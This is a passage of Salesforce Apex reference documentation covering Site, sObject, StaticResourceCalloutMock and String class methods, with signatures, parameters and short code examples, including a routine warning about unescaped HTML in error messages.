All DML statements before the call to Site.login get committed. It’s not possible to roll back to a save point that was created before
a call to Site.login.
Note: Do not include http:// or https:// in the startURL.
setPortalUserAsAuthProvider(user, contactId)
Sets the specified user information within the site’s portal via an authentication provider.
Signature
public static Void setPortalUserAsAuthProvider(sObject user, String contactId)
Parameters
user
Type: sObject
contactId
Type: String
Return Value
Type: Void
Usage
•This method is only valid when a site is associated with a Customer Portal.
•Calls to this method in API version 30.0 and later won’t commit the transaction automatically. Calls to this method prior to API version
30.0 commit the transaction, making it impossible to roll back to a save point before the call.
•For more information on an authentication provider, see RegistrationHandler on page 715.
validatePassword(user, password, confirmPassword)
Indicates whether a given password meets the requirements specified by org-wide or profile-based password policies in the current
user’s org.
Signature
public static void validatePassword(SObject user, String password, String
confirmPassword)
2513
Site ClassReference
Parameters
user
Type: SObject
The user attempting to create a password during self-registration for a community.
password
Type: String
The password entered by the user.
confirmPassword
Type: String
The password reentered by the user to confirm the password.
Return Value
Type: void
Usage
If validation fails when the method is run in a Lightning controller, this method throws an Apex exception describing the failed validation.
If validation fails when the method is run in a Visualforce controller, the method provides Visualforce error messages.
sObject Class
Contains methods for the sObject data type.
Namespace
System
Usage
sObject methods are all instance methods, that is, they are called by and operate on a particular instance of an sObject, such as an
account or contact. The following are the instance methods for sObjects.
For more information on sObjects, see sObject Types on page 112.
SObject Methods
The following are methods for SObject. All are instance methods.
IN THIS SECTION:
addError(errorMsg)
Marks a record with a custom error message and prevents any DML operation from occurring.
addError(errorMsg, escape)
Marks a record with a custom error message, specifies whether or not the error message should be escaped, and prevents any DML
operation from occurring.
2514
sObject ClassReference
addError(exceptionError)
Marks a record with a custom error message and prevents any DML operation from occurring.
addError(exceptionError, escape)
Marks a record with a custom exception error message, specifies whether or not the exception error message should be escaped,
and prevents any DML operation from occurring.
addError(errorMsg)
Places the specified error message on the field in the Salesforce user interface and prevents any DML operation from occurring.
addError(errorMsg, escape)
Places the specified error message, which can be escaped or unescaped, on the field in the Salesforce user interface, and prevents
any DML operation from occurring.
clear()
Clears all field values
clone(preserveId, isDeepClone, preserveReadonlyTimestamps, preserveAutonumber)
Creates a copy of the sObject record.
get(fieldName)
Returns the value for the field specified by fieldName, such as AccountNumber.
get(field)
Returns the value for the field specified by the field token Schema.sObjectField, such as,
Schema.Account.AccountNumber.
getCloneSourceId()
Returns the ID of the entity from which an object was cloned. You can use it for objects cloned through the Salesforce user interface.
If you don’t use a preserveId parameter, of if you use a preserveId value of false, you can also used it for objects created
using the System.SObject.clone(preserveId, isDeepClone, preserveReadonlyTimestamps,
preserveAutonumber) method.
getOptions()
Returns the database.DMLOptions object for the sObject.
getPopulatedFieldsAsMap()
Returns a map of populated field names and their corresponding values. The map contains only the fields that have been populated
in memory for the SObject instance.
getSObject(fieldName)
Returns the value for the specified field. This method is primarily used with dynamic DML to access values for external IDs.
getSObject(fieldName)
Returns the value for the field specified by the field token Schema.fieldName, such as, Schema.MyObj.MyExternalId.
This method is primarily used with dynamic DML to access values for external IDs.
getSObjects(fieldName)
Returns the values for the specified field. This method is primarily used with dynamic DML to access values for associated objects,
such as child relationships.
getSObjects(fieldName)
Returns the value for the field specified by the field token Schema.fieldName, such as, Schema.Account.Contact.
This method is primarily used with dynamic DML to access values for associated objects, such as child relationships.
getSObjectType()
Returns the token for this sObject. This method is primarily used with describe information.
2515
sObject ClassReference
getQuickActionName()
Retrieves the name of a quick action associated with this sObject. Typically used in triggers.
isClone()
Returns true if an entity is cloned from something, even if the entity hasn’t been saved.
put(fieldName, value)
Sets the value for the specified field and returns the previous value for the field.
put(fieldName, value)
Sets the value for the field specified by the field token Schema.sObjectField, such as,
Schema.Account.AccountNumber and returns the previous value for the field.
putSObject(fieldName, value)
Sets the value for the specified field. This method is primarily used with dynamic DML for setting external IDs. The method returns
the previous value of the field.
putSObject(fieldName, value)
Sets the value for the field specified by the token Schema.sObjectType. This method is primarily used with dynamic DML for
setting external IDs. The method returns the previous value of the field.
recalculateFormulas()
Recalculates all formula fields on an sObject, and sets updated field values. Rather than inserting or updating objects each time you
want to test changes to your formula logic, call this method and inspect your new field values. Then make further logic changes as
needed.
setOptions(DMLOptions)
Sets the DMLOptions object for the sObject.
addError(errorMsg)
Marks a record with a custom error message and prevents any DML operation from occurring.
Signature
public Void addError(String errorMsg)
Parameters
errorMsg
Type: String
The error message to mark the record with.
Return Value
Type: Void
Usage
When used on Trigger.new in before insert and before update triggers, and on Trigger.old in before
delete triggers, the error message is displayed in the application interface.
See Triggers and Trigger Exceptions.
2516
sObject ClassReference
Note: This method escapes any HTML markup in the specified error message. The escaped characters are: \n, <, >, &, ", \,
\u2028, \u2029, and \u00a9. This results in the HTML markup not being rendered; instead it is displayed as text in the
Salesforce user interface.
When used in Visualforce controllers, the generated message is added to the collection of errors for the page. For more information, see
Validation Rules and Standard Controllers in the Visualforce Developer's Guide.
Example
Trigger.new[0].addError('bad');
addError(errorMsg, escape)
Marks a record with a custom error message, specifies whether or not the error message should be escaped, and prevents any DML
operation from occurring.
Signature
public Void addError(String errorMsg, Boolean escape)
Parameters
errorMsg
Type: String
The error message to mark the record with.
escape
Type: Boolean
Indicates whether any HTML markup in the custom error message should be escaped (true) or not (false).
Return Value
Type: Void
Usage
The escaped characters are: \n, <, >, &, ", \, \u2028, \u2029, and \u00a9. This results in the HTML markup not being rendered;
instead it is displayed as text in the Salesforce user interface.
Warning: Be cautious if you specify false for the escape argument. Unescaped strings displayed in the Salesforce user
interface can represent a vulnerability in the system because these strings might contain harmful code. If you want to include
HTML markup in the error message, call this method with a false escape argument and make sure you escape any dynamic
content, such as input field values. Otherwise, specify true for the escape argument or call addError(String
errorMsg) instead.
Example
Trigger.new[0].addError('Fix & resubmit',false);
2517
sObject ClassReference
addError(exceptionError)
Marks a record with a custom error message and prevents any DML operation from occurring.
Signature
public Void addError(Exception exceptionError)
Parameters
exceptionError
Type: System.Exception
An Exception object or a custom exception object that contains the error message to mark the record with.
Return Value
Type: Void
Usage
When used on Trigger.new in before insert and before update triggers, and on Trigger.old in before
delete triggers, the error message is displayed in the application interface.
See Triggers and Trigger Exceptions.
Note: This method escapes any HTML markup in the specified error message. The escaped characters are: \n, <, >, &, ", \,
\u2028, \u2029, and \u00a9. This results in the HTML markup not being rendered; instead it is displayed as text in the
Salesforce user interface.
When used in Visualforce controllers, the generated message is added to the collection of errors for the page. For more information, see
Validation Rules and Standard Controllers in the Visualforce Developer's Guide.
Example
public class MyException extends Exception {}
Trigger.new[0].addError(new myException('Invalid Id'));
addError(exceptionError, escape)
Marks a record with a custom exception error message, specifies whether or not the exception error message should be escaped, and
prevents any DML operation from occurring.
Signature
public Void addError(Exception exceptionError, Boolean escape)
Parameters
exceptionError
Type: System.Exception
An Exception object or a custom exception object that contains the error message to mark the record with.
2518
sObject ClassReference
escape
Type: Boolean
Indicates whether any HTML markup in the custom error message should be escaped (true) or not (false).
Return Value
Type: Void
Usage
The escaped characters are: \n, <, >, &, ", \, \u2028, \u2029, and \u00a9. This results in the HTML markup not being rendered;
instead it is displayed as text in the Salesforce user interface.
Warning: Be cautious if you specify false for the escape argument. Unescaped strings displayed in the Salesforce user
interface can represent a vulnerability in the system because these strings might contain harmful code. If you want to include
HTML markup in the error message, call this method with a false escape argument and make sure you escape any dynamic
content, such as input field values. Otherwise, specify true for the escape argument or call addError(Exception e)
instead.
Example
public class MyException extends Exception {}
Trigger.new[0].addError(new myException('Invalid Id & other issues',false));
addError(errorMsg)
Places the specified error message on the field in the Salesforce user interface and prevents any DML operation from occurring.
Signature
public Void addError(String errorMsg)
Parameters
errorMsg
Type: String
Return Value
Type: Void
Usage
Note:
•When used on Trigger.new in before insert and before update triggers, and on Trigger.old in before
delete triggers, the error appears in the application interface.
•When used in Visualforce controllers, if there is an inputField component bound to field, the message is attached to the
component. For more information, see Validation Rules and Standard Controllers in the Visualforce Developer's Guide.
2519
sObject ClassReference
•This method is highly specialized because the field identifier is not actually the invoking object—the sObject record is the invoker.
The field is simply used to identify the field that should be used to display the error.
•This method will likely change in future versions of Apex.
See Triggers and Trigger Exceptions.
Note: This method escapes any HTML markup in the specified error message. The escaped characters are: \n, <, >, &, ", \,
\u2028, \u2029, and \u00a9. This results in the HTML markup not being rendered; instead it is displayed as text in the
Salesforce user interface.
Example
Trigger.new[0].myField__c.addError('bad');
addError(errorMsg, escape)
Places the specified error message, which can be escaped or unescaped, on the field in the Salesforce user interface, and prevents any
DML operation from occurring.
Signature
public Void addError(String errorMsg, Boolean escape)
Parameters
errorMsg
Type: String
The error message to mark the record with.
escape
Type: Boolean
Indicates whether any HTML markup in the custom error message should be escaped (true) or not (false).
Return Value
Type:
Usage
The escaped characters are: \n, <, >, &, ", \, \u2028, \u2029, and \u00a9. This results in the HTML markup not being rendered;
instead it is displayed as text in the Salesforce user interface.
Warning: Be cautious if you specify false for the escape argument. Unescaped strings displayed in the Salesforce user
interface can represent a vulnerability in the system because these strings might contain harmful code. If you want to include
HTML markup in the error message, call this method with a false escape argument and make sure you escape any dynamic
content, such as input field values. Otherwise, specify true for the escape argument or call field.addError(String
errorMsg) instead.
Example
Trigger.new[0].myField__c.addError('Fix & resubmit',false);
2520
sObject ClassReference
clear()
Clears all field values
Signature
public Void clear()
Return Value
Type: Void
Example
Account acc = new account(Name = 'Acme');
acc.clear();
Account expected = new Account();
system.assertEquals(expected, acc);
clone(preserveId, isDeepClone, preserveReadonlyTimestamps, preserveAutonumber)
Creates a copy of the sObject record.
Signature
public sObject clone(Boolean preserveId, Boolean isDeepClone, Boolean
preserveReadonlyTimestamps, Boolean preserveAutonumber)
Parameters
preserveId
Type: Boolean
(Optional) Determines whether the ID of the original object is preserved or cleared in the duplicate. If set to true, the ID is copied
to the duplicate. The default is false, that is, the ID is cleared.
isDeepClone
Type: Boolean
(Optional) Determines whether the method creates a full copy of the sObject field or just a reference:
•If set to true, the method creates a full copy of the sObject. All fields on the sObject are duplicated in memory, including
relationship fields. Consequently, if you make changes to a field on the cloned sObject, the original sObject is not affected.
•If set to false, the method performs a shallow copy of the sObject fields. All copied relationship fields reference the original
sObjects. Consequently, if you make changes to a relationship field on the cloned sObject, the corresponding field on the original
sObject is also affected, and vice versa. The default is false.
preserveReadonlyTimestamps
Type: Boolean
(Optional) Determines whether the read-only timestamp fields are preserved or cleared in the duplicate. If set to true, the read-only
fields CreatedById, CreatedDate, LastModifiedById, and LastModifiedDate are copied to the duplicate.
The default is false, that is, the values are cleared.
2521
sObject ClassReference
preserveAutonumber
Type: Boolean
(Optional) Determines whether auto number fields of the original object are preserved or cleared in the duplicate. If set to true,
auto number fields are copied to the cloned object. The default is false, that is, auto number fields are cleared.
Return Value
Type: sObject (of same type)
Usage
Note: For Apex saved using SalesforceAPI version 22.0 or earlier, the default value for the preserveId argument is true,
that is, the ID is preserved.
Example
Account acc = new account(Name = 'Acme', Description = 'Acme Account');
Account clonedAcc = acc.clone(false,false,false,false);
System.assertEquals(acc, clonedAcc);
get(fieldName)
Returns the value for the field specified by fieldName, such as AccountNumber.
Signature
public Object get(String fieldName)
Parameters
fieldName
Type: String
Return Value
Type: Object
Usage
For more information, see Dynamic SOQL.
Example
Account acc = new account(Name = 'Acme', Description = 'Acme Account');
String description = (String)acc.get('Description');
System.assertEquals('Acme Account', description);
2522
sObject ClassReference
get(field)
Returns the value for the field specified by the field token Schema.sObjectField, such as,
Schema.Account.AccountNumber.
Signature
public Object get(Schema.sObjectField field)
Parameters
field
Type: Schema.SObjectField
Return Value
Type: Object
Usage
For more information, see Dynamic SOQL.
Note: Field tokens aren't available for person accounts. If you access Schema.Account.fieldname, you'll get an exception
error. Instead, specify the field name as a string.
Example
Account acc = new account(Name = 'Acme', Description = 'Acme Account');
String description = (String)acc.get(Schema.Account.Description);
System.assertEquals('Acme Account', description);
getCloneSourceId()
Returns the ID of the entity from which an object was cloned. You can use it for objects cloned through the Salesforce user interface. If
you don’t use a preserveId parameter, of if you use a preserveId value of false, you can also used it for objects created
using the System.SObject.clone(preserveId, isDeepClone, preserveReadonlyTimestamps,
preserveAutonumber) method.
Signature
public Id getCloneSourceId()
Return Value
Type: Id
Usage
If A is cloned to B, B is cloned to C, and C is cloned to D, then B, C, and D all point back to A as their clone source.
2523
sObject ClassReference
Example
Account acc0 = new Account(Name = 'Acme');
insert acc0;
Account acc1 = acc0.clone();
Account acc2 = acc1.clone();
Account acc3 = acc2.clone();
Account acc4 = acc3.clone();
System.assert(acc0.Id != null);
System.assertEquals(acc0.Id, acc1.getCloneSourceId());
System.assertEquals(acc0.Id, acc2.getCloneSourceId());
System.assertEquals(acc0.Id, acc3.getCloneSourceId());
System.assertEquals(acc0.Id, acc4.getCloneSourceId());
System.assertEquals(null, acc0.getCloneSourceId());
getOptions()
Returns the database.DMLOptions object for the sObject.
Signature
public Database.DMLOptions getOptions()
Return Value
Type: Database.DMLOptions
Example
Database.DMLOptions dmo = new Database.dmlOptions();
dmo.assignmentRuleHeader.useDefaultRule = true;
Account acc = new Account(Name = 'Acme');
acc.setOptions(dmo);
Database.DMLOptions accDmo = acc.getOptions();
getPopulatedFieldsAsMap()
Returns a map of populated field names and their corresponding values. The map contains only the fields that have been populated in
memory for the SObject instance.
Signature
public Map<String,Object> getPopulatedFieldsAsMap()
Return Value
Type: Map<String,Object>
A map of field names and their corresponding values.
2524
sObject ClassReference
Usage
The returned map contains only the fields that have been populated in memory for the SObject instance, which makes it easy to iterate
over those fields. A field is populated in memory in the following cases.
•The field has been queried by a SOQL statement.
•The field has been explicitly set before the call to the getPopulatedFieldsAsMap() method.
Fields on related objects that are queried or set are also returned in the map.
The following example iterates over the map returned by the getPopulatedFieldsAsMap() method after a SOQL query.
Account a = new Account();
a.name = 'TestMapAccount1';
insert a;
a = [select Id,Name from Account where id=:a.Id];
Map<String,Object> fieldsToValue = a.getPopulatedFieldsAsMap();
for (String fieldName : fieldsToValue.keySet()){
System.debug('field name is ' + fieldName + ', value is ' +
fieldsToValue.get(fieldName));
}
// Example debug statement output:
// DEBUG|field name is Id, value is 001R0000003EPPkIAO
// DEBUG|field name is Name, value is TestMapAccount1
This example iterates over the map returned by the getPopulatedFieldsAsMap() method after fields on the SObject are
explicitly set.
Account a = new Account();
a.name = 'TestMapAccount2';
a.phone = '123-4567';
insert a;
Map<String,Object> fieldsToValue = a.getPopulatedFieldsAsMap();
for (String fieldName : fieldsToValue.keySet()) {
System.debug('field name is ' + fieldName + ', value is ' +
fieldsToValue.get(fieldName));
}
// Example debug statement output:
// DEBUG|field name is Name, value is TestMapAccount2
// DEBUG|field name is Phone, value is 123-4567
// DEBUG|field name is Id, value is 001R0000003EPPpIAO
The following example shows how to use the getPopulatedFieldsAsMap() method with related objects.
Account a = new Account();
a.name='TestMapAccount3';
insert a;
Contact c = new Contact();
c.firstname='TestContactFirstName';
c.lastName ='TestContactLastName';
c.accountid = a.id;
insert c;
2525
sObject ClassReference
c = [SELECT id, Contact.Firstname, Contact.Account.Name FROM Contact
where id=:c.id limit 1];
Map<String,Object> fieldsToValue = c.getPopulatedFieldsAsMap();
// To get the fields on Account, get the Account object
// and call getMapPopulatedFieldsAsMap() on that object.
a = (Account)fieldsToValue.get('Account');
fieldsToValue = a.getPopulatedFieldsAsMap();
for (String fieldName : fieldsToValue.keySet()) {
System.debug('field name is ' + fieldName + ', value is ' +
fieldsToValue.get(fieldName));
}
// Example debug statement output:
// DEBUG|field name is Id, value is 001R0000003EPPuIAO
// DEBUG|field name is Name, value is TestMapAccount3
getSObject(fieldName)
Returns the value for the specified field. This method is primarily used with dynamic DML to access values for external IDs.
Signature
public sObject getSObject(String fieldName)
Parameters
fieldName
Type: String
Return Value
Type: sObject
Example
Account acc = new account(Name = 'Acme', Description = 'Acme Account');
insert acc;
Contact con = new Contact(Lastname = 'AcmeCon', AccountId = acc.id);
insert con;
SObject contactDB =
[SELECT Id, AccountId, Account.Name FROM Contact WHERE id = :con.id LIMIT 1];
Account a = (Account)contactDB.getSObject('Account');
System.assertEquals('Acme', a.name);
getSObject(fieldName)
Returns the value for the field specified by the field token Schema.fieldName, such as, Schema.MyObj.MyExternalId.
This method is primarily used with dynamic DML to access values for external IDs.
2526
sObject ClassReference
Signature
public sObject getSObject(Schema.SObjectField fieldName)
Parameters
fieldName
Type: Schema.SObjectField
Return Value
Type: sObject
Example
Account acc = new account(name = 'Acme', description = 'Acme Account');
insert acc;
Contact con = new contact(lastname = 'AcmeCon', accountid = acc.id);
insert con;
Schema.DescribeFieldResult fieldResult = Contact.AccountId.getDescribe();
Schema.SObjectfield field = fieldResult.getSobjectField();
SObject contactDB =
[SELECT Id, AccountId, Account.Name FROM Contact WHERE id = :con.id LIMIT 1];
Account a = (Account)contactDB.getSObject(field);
System.assertEquals('Acme', a.name);
getSObjects(fieldName)
Returns the values for the specified field. This method is primarily used with dynamic DML to access values for associated objects, such
as child relationships.
Signature
public sObject[] getSObjects(String fieldName)
Parameters
fieldName
Type: String
Return Value
Type: sObject[]
Usage
For more information, see Dynamic DML.
2527
sObject ClassReference
Example
Account acc = new account(name = 'Acme', description = 'Acme Account');
insert acc;
Contact con = new contact(lastname = 'AcmeCon', accountid = acc.id);
insert con;
SObject[] a = [SELECT id, (SELECT Name FROM Contacts LIMIT 1) FROM Account WHERE id =
:acc.id];
SObject[] contactsDB = a.get(0).getSObjects('Contacts');
String fieldValue = (String)contactsDB.get(0).get('Name');
System.assertEquals('AcmeCon', fieldValue);
getSObjects(fieldName)
Returns the value for the field specified by the field token Schema.fieldName, such as, Schema.Account.Contact. This
method is primarily used with dynamic DML to access values for associated objects, such as child relationships.
Signature
public sObject[] getSObjects(Schema.SObjectType fieldName)
Parameters
fieldName
Type: Schema.SObjectType
Return Value
Type: sObject[]
getSObjectType()
Returns the token for this sObject. This method is primarily used with describe information.
Signature
public Schema.SObjectType getSObjectType()
Return Value
Type: Schema.SObjectType
Usage
For more information, see Understanding Apex Describe Information.
2528
sObject ClassReference
Example
Account acc = new Account(name = 'Acme', description = 'Acme Account');
Schema.sObjectType expected = Schema.Account.getSObjectType();
System.assertEquals(expected, acc.getSobjectType());
getQuickActionName()
Retrieves the name of a quick action associated with this sObject. Typically used in triggers.
Signature
public String getQuickActionName()
Return Value
Type: String
Example
trigger accTrig2 on Contact (before insert) {
for (Contact c : Trigger.new) {
if (c.getQuickActionName() == QuickAction.CreateContact) {
c.WhereFrom__c = 'GlobaActionl';
}else if (c.getQuickActionName() == Schema.Account.QuickAction.CreateContact) {
c.WhereFrom__c = 'AccountAction';
}else if (c.getQuickActionName() == null) {
c.WhereFrom__c = 'NoAction';
}else {
System.assert(false);
}
}
}
isClone()
Returns true if an entity is cloned from something, even if the entity hasn’t been saved.
Signature
public Boolean isClone()
Return Value
Type: Boolean
Example
Account acc = new Account(Name = 'Acme');
insert acc;
Account acc2 = acc.clone();
2529
sObject ClassReference
// Test before saving
System.assertEquals(true, acc2.isClone());
insert acc2;
// Test after saving
System.assertEquals(true, acc2.isClone());
put(fieldName, value)
Sets the value for the specified field and returns the previous value for the field.
Signature
public Object put(String fieldName, Object value)
Parameters
fieldName
Type: String
value
Type: Object
Return Value
Type: Object
Example
Account acc = new Account(name = 'test', description = 'old desc');
String oldDesc = (String)acc.put('description','new desc');
System.assertEquals('old desc', oldDesc);
System.assertEquals('new desc', acc.description);
put(fieldName, value)
Sets the value for the field specified by the field token Schema.sObjectField, such as, Schema.Account.AccountNumber
and returns the previous value for the field.
Signature
public Object put(Schema.SObjectField fieldName, Object value)
Parameters
fieldName
Type: Schema.SObjectField
value
Type: Object
2530
sObject ClassReference
Return Value
Type: Object
Example
Account acc = new Account(name = 'test', description = 'old desc');
String oldDesc = (String)acc.put(Schema.Account.Description, 'new desc');
System.assertEquals('old desc', oldDesc);
System.assertEquals('new desc', acc.description);
Note: Field tokens aren't available for person accounts. If you access Schema.Account.fieldname, you'll get an exception
error. Instead, specify the field name as a string.
putSObject(fieldName, value)
Sets the value for the specified field. This method is primarily used with dynamic DML for setting external IDs. The method returns the
previous value of the field.
Signature
public sObject putSObject(String fieldName, sObject value)
Parameters
fieldName
Type: String
value
Type: sObject
Return Value
Type: sObject
Example
Account acc = new Account(name = 'Acme', description = 'Acme Account');
insert acc;
Contact con = new contact(lastname = 'AcmeCon', accountid = acc.id);
insert con;
Account acc2 = new account(name = 'Not Acme');
Contact contactDB =
(Contact)[SELECT Id, AccountId, Account.Name FROM Contact WHERE id = :con.id LIMIT 1];
Account a = (Account)contactDB.putSObject('Account', acc2);
System.assertEquals('Acme', a.name);
System.assertEquals('Not Acme', contactDB.Account.name);
2531
sObject ClassReference
putSObject(fieldName, value)
Sets the value for the field specified by the token Schema.sObjectType. This method is primarily used with dynamic DML for
setting external IDs. The method returns the previous value of the field.
Signature
public sObject putSObject(Schema.sObjectType fieldName, sObject value)
Parameters
fieldName
Type: Schema.SObjectType
value
Type: sObject
Return Value
Type: sObject
recalculateFormulas()
Recalculates all formula fields on an sObject, and sets updated field values. Rather than inserting or updating objects each time you want
to test changes to your formula logic, call this method and inspect your new field values. Then make further logic changes as needed.
Signature
public Void recalculateFormulas()
Return Value
Type: Void
Usage
This method doesn’t recalculate cross-object formulas. If you call this method on objects that have both cross-object and non-cross-object
formula fields, only the non-cross-object formula fields are recalculated.
Each recalculateFormulas call counts against the SOQL query limits. See Execution Governors and Limits.
SEE ALSO:
What Are Cross-Object Formulas?
setOptions(DMLOptions)
Sets the DMLOptions object for the sObject.
Signature
public Void setOptions(database.DMLOptions DMLOptions)
2532
sObject ClassReference
Parameters
DMLOptions
Type: Database.DMLOptions
Return Value
Type: Void
Example
Database.DMLOptions dmo = new Database.dmlOptions();
dmo.assignmentRuleHeader.useDefaultRule = true;
Account acc = new Account(Name = 'Acme');
acc.setOptions(dmo);
StaticResourceCalloutMock Class
Utility class used to specify a fake response for testing HTTP callouts.
Namespace
System
Usage
Use the methods in this class to set the response properties for testing HTTP callouts.
IN THIS SECTION:
StaticResourceCalloutMock Constructors
StaticResourceCalloutMock Methods
StaticResourceCalloutMock Constructors
The following are constructors for StaticResourceCalloutMock.
IN THIS SECTION:
StaticResourceCalloutMock()
Creates a new instance of the StaticResourceCalloutMock class.
StaticResourceCalloutMock()
Creates a new instance of the StaticResourceCalloutMock class.
Signature
public StaticResourceCalloutMock()
2533
StaticResourceCalloutMock ClassReference
StaticResourceCalloutMock Methods
The following are methods for StaticResourceCalloutMock. All are instance methods.
IN THIS SECTION:
setHeader(headerName, headerValue)
Sets the specified header name and value for the fake response.
setStaticResource(resourceName)
Sets the specified static resource, which contains the response body.
setStatus(httpStatus)
Sets the specified HTTP status for the response.
setStatusCode(httpStatusCode)
Sets the specified HTTP status for the response.
setHeader(headerName, headerValue)
Sets the specified header name and value for the fake response.
Signature
public Void setHeader(String headerName, String headerValue)
Parameters
headerName
Type: String
headerValue
Type: String
Return Value
Type: Void
setStaticResource(resourceName)
Sets the specified static resource, which contains the response body.
Signature
public Void setStaticResource(String resourceName)
Parameters
resourceName
Type: String
2534
StaticResourceCalloutMock ClassReference
Return Value
Type: Void
setStatus(httpStatus)
Sets the specified HTTP status for the response.
Signature
public Void setStatus(String httpStatus)
Parameters
httpStatus
Type: String
Return Value
Type: Void
setStatusCode(httpStatusCode)
Sets the specified HTTP status for the response.
Signature
public Void setStatusCode(Integer httpStatusCode)
Parameters
httpStatusCode
Type: Integer
Return Value
Type: Void
String Class
Contains methods for the String primitive data type.
Namespace
System
Usage
For more information on Strings, see Primitive Data Types on page 27.
2535
String ClassReference
String Methods
The following are methods for String.
IN THIS SECTION:
abbreviate(maxWidth)
Returns an abbreviated version of the String, of the specified length and with ellipses appended if the current String is longer than
the specified length; otherwise, returns the original String without ellipses.
abbreviate(maxWidth, offset)
Returns an abbreviated version of the String, starting at the specified character offset and of the specified length. The returned String
has ellipses appended at the start and the end if characters have been removed at these locations.
capitalize()
Returns the current String with the first letter changed to title case.
center(size)
Returns a version of the current String of the specified size padded with spaces on the left and right, so that it appears in the center.
If the specified size is smaller than the current String size, the entire String is returned without added spaces.
center(size, paddingString)
Returns a version of the current String of the specified size padded with the specified String on the left and right, so that it appears
in the center. If the specified size is smaller than the current String size, the entire String is returned without padding.
charAt(index)
Returns the value of the character at the specified index.
codePointAt(index)
Returns the Unicode code point value at the specified index.
codePointBefore(index)
Returns the Unicode code point value that occurs before the specified index.
codePointCount(beginIndex, endIndex)
Returns the number of Unicode code points within the specified text range.
compareTo(secondString)
Compares two strings lexicographically, based on the Unicode value of each character in the Strings.
contains(substring)
Returns true if and only if the String that called the method contains the specified sequence of characters in substring.
containsAny(inputString)
Returns true if the current String contains any of the characters in the specified String; otherwise, returns false.
containsIgnoreCase(substring)
Returns true if the current String contains the specified sequence of characters without regard to case; otherwise, returns false.
containsNone(inputString)
Returns true if the current String doesn’t contain any of the characters in the specified String; otherwise, returns false.
containsOnly(inputString)
Returns true if the current String contains characters only from the specified sequence of characters and not any other characters;
otherwise, returns false.
containsWhitespace()
Returns true if the current String contains any white space characters; otherwise, returns false.
2536
String ClassReference
countMatches(substring)
Returns the number of times the specified substring occurs in the current String.
deleteWhitespace()
Returns a version of the current String with all white space characters removed.
difference(secondString)
Returns the difference between the current String and the specified String.
endsWith(suffix)
Returns true if the String that called the method ends with the specified suffix.
endsWithIgnoreCase(suffix)
Returns true if the current String ends with the specified suffix; otherwise, returns false.
equals(secondString)
Deprecated. This method is replaced by equals(stringOrId). Returns true if the passed-in string is not null and represents
the same binary sequence of characters as the current string. Use this method to perform case-sensitive comparisons.
equals(stringOrId)
Returns true if the passed-in object is not null and represents the same binary sequence of characters as the current string. Use
this method to compare a string to an object that represents a string or an ID.
equalsIgnoreCase(secondString)
Returns true if the secondString is not null and represents the same sequence of characters as the String that called the
method, ignoring case.
escapeCsv()
Returns a String for a CSV column enclosed in double quotes, if required.
escapeEcmaScript()
Escapes the characters in the String using EcmaScript String rules.
escapeHtml3()
Escapes the characters in a String using HTML 3.0 entities.
escapeHtml4()
Escapes the characters in a String using HTML 4.0 entities.
escapeJava()
Returns a String whose characters are escaped using Java String rules. Characters escaped include quotes and control characters,
such as tab, backslash, and carriage return characters.
escapeSingleQuotes(stringToEscape)
Returns a String with the escape character (\) added before any single quotation marks in the String s.
escapeUnicode()
Returns a String whose Unicode characters are escaped to a Unicode escape sequence.
escapeXml()
Escapes the characters in a String using XML entities.
format(stringToFormat, formattingArguments)
Treat the current string as a pattern that should be used for substitution in the same manner as apex:outputText.
fromCharArray(charArray)
Returns a String from the values of the list of integers.
2537
String ClassReference
getChars()
Returns an array of character values that represent the characters in this string.
getCommonPrefix(strings)
Returns the initial sequence of characters as a String that is common to all the specified Strings.
getLevenshteinDistance(stringToCompare)
Returns the Levenshtein distance between the current String and the specified String.
getLevenshteinDistance(stringToCompare, threshold)
Returns the Levenshtein distance between the current String and the specified String if it is less than or equal than the given threshold;
otherwise, returns -1.
hashCode()
Returns a hash code value for this string.
indexOf(substring)
Returns the index of the first occurrence of the specified substring. If the substring does not occur, this method returns -1.
indexOf(substring, index)
Returns the zero-based index of the first occurrence of the specified substring from the point of the given index. If the substring
does not occur, this method returns -1.
indexOfAny(substring)
Returns the zero-based index of the first occurrence of any character specified in the substring. If none of the characters occur, returns
-1.
indexOfAnyBut(substring)
Returns the zero-based index of the first occurrence of a character that is not in the specified substring. Otherwise, returns -1.
indexOfChar(character)
Returns the index of the first occurrence of the character that corresponds to the specified character value.
indexOfChar(character, startIndex)
Returns the index of the first occurrence of the character that corresponds to the specified character value, starting from the specified
index.
indexOfDifference(stringToCompare)
Returns the zero-based index of the character where the current String begins to differ from the specified String.
indexOfIgnoreCase(substring)
Returns the zero-based index of the first occurrence of the specified substring without regard to case. If the substring does not occur,
this method returns -1.
indexOfIgnoreCase(substring, startPosition)
Returns the zero-based index of the first occurrence of the specified substring from the point of index i, without regard to case. If
the substring does not occur, this method returns -1.
isAllLowerCase()
Returns true if all characters in the current String are lowercase; otherwise, returns false.
isAllUpperCase()
Returns true if all characters in the current String are uppercase; otherwise, returns false.
isAlpha()
Returns true if all characters in the current String are Unicode letters only; otherwise, returns false.
2538
String ClassReference
isAlphaSpace()
Returns true if all characters in the current String are Unicode letters or spaces only; otherwise, returns false.
isAlphanumeric()
Returns true if all characters in the current String are Unicode letters or numbers only; otherwise, returns false.
isAlphanumericSpace()
Returns true if all characters in the current String are Unicode letters, numbers, or spaces only; otherwise, returns false.
isAsciiPrintable()
Returns true if the current String contains only ASCII printable characters; otherwise, returns false.
isBlank(inputString)
Returns true if the specified String is white space, empty (''), or null; otherwise, returns false.
isEmpty(inputString)
Returns true if the specified String is empty ('') or null; otherwise, returns false.
isNotBlank(inputString)
Returns true if the specified String is not whitespace, not empty (''), and not null; otherwise, returns false.
isNotEmpty(inputString)
Returns true if the specified String is not empty ('') and not null; otherwise, returns false.
isNumeric()
Returns true if the current String contains only Unicode digits; otherwise, returns false.
isNumericSpace()
Returns true if the current String contains only Unicode digits or spaces; otherwise, returns false.
isWhitespace()
Returns true if the current String contains only white space characters or is empty; otherwise, returns false.
join(iterableObj, separator)
Joins the elements of the specified iterable object, such as a List, into a single String separated by the specified separator.
lastIndexOf(substring)
Returns the index of the last occurrence of the specified substring. If the substring does not occur, this method returns -1.
lastIndexOf(substring, endPosition)
Returns the index of the last occurrence of the specified substring, starting from the character at index 0 and ending at the specified
index.
lastIndexOfChar(character)
Returns the index of the last occurrence of the character that corresponds to the specified character value.
lastIndexOfChar(character, endIndex)
Returns the index of the last occurrence of the character that corresponds to the specified character value, starting from the specified
index.
lastIndexOfIgnoreCase(substring)
Returns the index of the last occurrence of the specified substring regardless of case.
lastIndexOfIgnoreCase(substring, endPosition)
Returns the index of the last occurrence of the specified substring regardless of case, starting from the character at index 0 and
